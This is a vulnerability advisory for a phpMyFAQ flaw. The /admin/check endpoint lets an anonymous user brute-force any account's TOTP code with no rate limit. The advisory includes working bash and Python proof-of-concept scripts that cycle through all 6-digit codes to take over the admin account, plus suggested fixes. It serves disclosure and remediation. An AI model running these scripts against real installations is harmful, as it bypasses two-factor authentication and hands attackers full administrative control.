CVE-2026-45010: phpMyFAQ enables unauthenticated 2FA brute-force attack via /admin/check acceptance of arbitrary user-id

Summary

The /admin/check endpoint in AuthenticationController implements SkipsAuthenticationCheck, making it reachable without any prior authentication. An anonymous attacker (Bob) can POST arbitrary user-id and token values to brute-force any user's 6-digit TOTP code. No rate limiting exists. The 10^6 keyspace is exhaustible in minutes. Reachability confirmed against a default install: unauthenticated POST /admin/check with a user-id body field returns HTTP 302 to /admin/token?user-id=<value>, echoing the attacker-supplied user id without any binding to a prior password-phase authentication.

Details

File: phpmyfaq/src/phpMyFAQ/Controller/Administration/AuthenticationController.php, lines 35-36 and 201-228.

The controller class declaration:

php final class AuthenticationController extends AbstractAdministrationController implements SkipsAuthenticationCheck

The SkipsAuthenticationCheck interface (phpmyfaq/src/phpMyFAQ/Controller/Administration/SkipsAuthenticationCheck.php) is a marker interface that tells the ControllerContainerListener to skip authentication enforcement. Every route in this controller is reachable without a session.

The check action (line 201-228):

php #[Route(path: '/check', name: 'admin.auth.check', methods: ['POST'])] public function check(Request $request): RedirectResponse { if ($this->currentUser->isLoggedIn()) { return new RedirectResponse(url: './'); }

$token = Filter::filterVar($request->request->get(key: 'token'), FILTERSANITIZESPECIALCHARS); $userId = (int) Filter::filterVar($request->request->get(key: 'user-id'), FILTERVALIDATEINT);

$user = $this->currentUserService; $user->getUserById($userId);

if (strlen((string) $token) === 6) { $tfa = $this->twoFactor; $result = $tfa->validateToken($token, $userId);

if ($result) { $user->twoFactorSuccess(); $this->adminLog->log($user, AdminLogType::AUTH2FASUCCESS->value . ':' . $user->getLogin()); return new RedirectResponse(url: './'); }

$this->adminLog->log($user, AdminLogType::AUTH2FAFAILED->value . ':' . $user->getLogin()); }

return new RedirectResponse('./token?user-id=' . $userId); }

Problems:

1. No session binding: The endpoint accepts user-id from the POST body. It does not verify that the caller previously authenticated with a password for that user. 2. No rate limit or lockout: Failed attempts redirect back to the token form with no counter, delay, or account lock. 3. Unauthenticated access: The SkipsAuthenticationCheck marker exempts the entire controller from auth enforcement.

The normal login flow (/admin/authenticate) redirects to /admin/token?user-id=X after a valid password. But nothing prevents Bob from skipping the password step and hitting /admin/check directly.

Proof of Concept

bash Step 1: Identify target user ID (admin is typically userid=1) TARGETHOST="http://target.example" USERID=1

Step 2: Brute-force the 6-digit TOTP code TOTP codes rotate every 30 seconds, giving a window of ~1M attempts per window. At 200 req/s this takes under 2 hours worst case; with 2 valid windows it halves.

for code in $(seq -w 000000 999999); do RESPONSE=$(curl -s -o /dev/null -w "%{httpcode}:%{redirecturl}" \ -X POST "${TARGETHOST}/admin/check" \ -d "token=${code}&user-id=${USERID}")

# A successful 2FA grants a session and redirects to ./ # A failure redirects to ./token?user-id=1 if echo "$RESPONSE" | grep -qv "token?user-id="; then echo "[+] Valid TOTP: ${code}" break fi done

python Faster parallel version import requests from concurrent.futures import ThreadPoolExecutor

TARGET = "http://target.example/admin/check" USERID = 1

def trycode(code): r = requests.post(TARGET, data={"token": f"{code:06d}", "user-id": USERID}, allowredirects=False) location = r.headers.get("Location", "") if "token?user-id=" not in location: return code return None

with ThreadPoolExecutor(maxworkers=50) as pool: for result in pool.map(trycode, range(1000000)): if result is not None: print(f"[+] Valid TOTP: {result:06d}") break

Impact

Bob bypasses two-factor authentication for any user account (including administrators) without knowing the user's password. After a successful brute-force, twoFactorSuccess() grants a fully authenticated admin session. Bob gains full administrative control: user management, FAQ content modification, configuration changes, and access to backup/export functions containing all data.

CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (High, 9.1) CWE: CWE-307 (Improper Restriction of Excessive Authentication Attempts)

Recommended Fix

1. Bind the 2FA step to a password-verified session: Store a flag in the server-side session during authenticate() indicating the user passed password auth. The check action must verify this flag before accepting TOTP attempts.

2. Add rate limiting / lockout: After 5 failed TOTP attempts, lock the account or enforce an exponential backoff.

3. Narrow the SkipsAuthenticationCheck scope: Move the /check and /token routes into a separate controller that requires the password-verified session flag rather than blanket-skipping auth.

Example session-binding fix in check():

php #[Route(path: '/check', name: 'admin.auth.check', methods: ['POST'])] public function check(Request $request): RedirectResponse { $userId = (int) Filter::filterVar($request->request->get(key: 'user-id'), FILTERVALIDATEINT);

// Require that the session proves password auth for this specific user if ($this->session->get('2fapendinguserid') !== $userId) { return new RedirectResponse(url: './login'); }

// ... existing TOTP validation ... }

And in authenticate(), after successful password check:

php $this->session->set('2fapendinguserid', $this->currentUser->getUserId());

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